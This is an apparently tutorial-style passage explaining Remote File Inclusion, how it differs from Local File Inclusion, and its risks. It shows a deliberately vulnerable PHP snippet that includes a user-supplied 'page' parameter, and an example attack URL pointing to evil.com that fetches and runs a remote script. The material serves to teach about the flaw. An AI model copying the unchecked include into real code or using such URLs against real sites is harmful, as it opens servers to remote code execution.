2. What is RFI?

Remote File Inclusion (RFI) is a type of web vulnerability that allows an attacker to include a file from a remote server in the web application. This is usually due to improper handling of user input in file-inclusion mechanisms. Unlike Local File Inclusion (LFI), which includes files from the local server, RFI allows an attacker to include files from an external URL, potentially leading to remote code execution.

How RFI Works:

- The application includes a file based on user input, without validating if the input points to a local or remote file.
- An attacker can supply a URL to a malicious file hosted on a server they control, which can then be executed by the vulnerable application.

Risks of RFI:

- **Remote Code Execution**: Attackers can execute arbitrary code by including a remote malicious script.
- **Malware Installation**: An attacker could install malware or backdoors onto the server.
- **Server Compromise**: If successfully exploited, RFI can lead to full server control, data theft, or further attacks on users.

Example of RFI Vulnerable Code:

```php
<?php
  $file = $_GET['page'];
  include($file);
?>
```

If `page` is set to a URL like `http://evil.com/malicious.php`, the application will include and run that remote file, which may contain malicious code.

Key Differences Between LFI and RFI:

- **LFI** includes files from the local server, while **RFI** includes files from external sources.
- RFI is potentially more dangerous because it allows the attacker to run custom code from any location, often leading directly to code execution.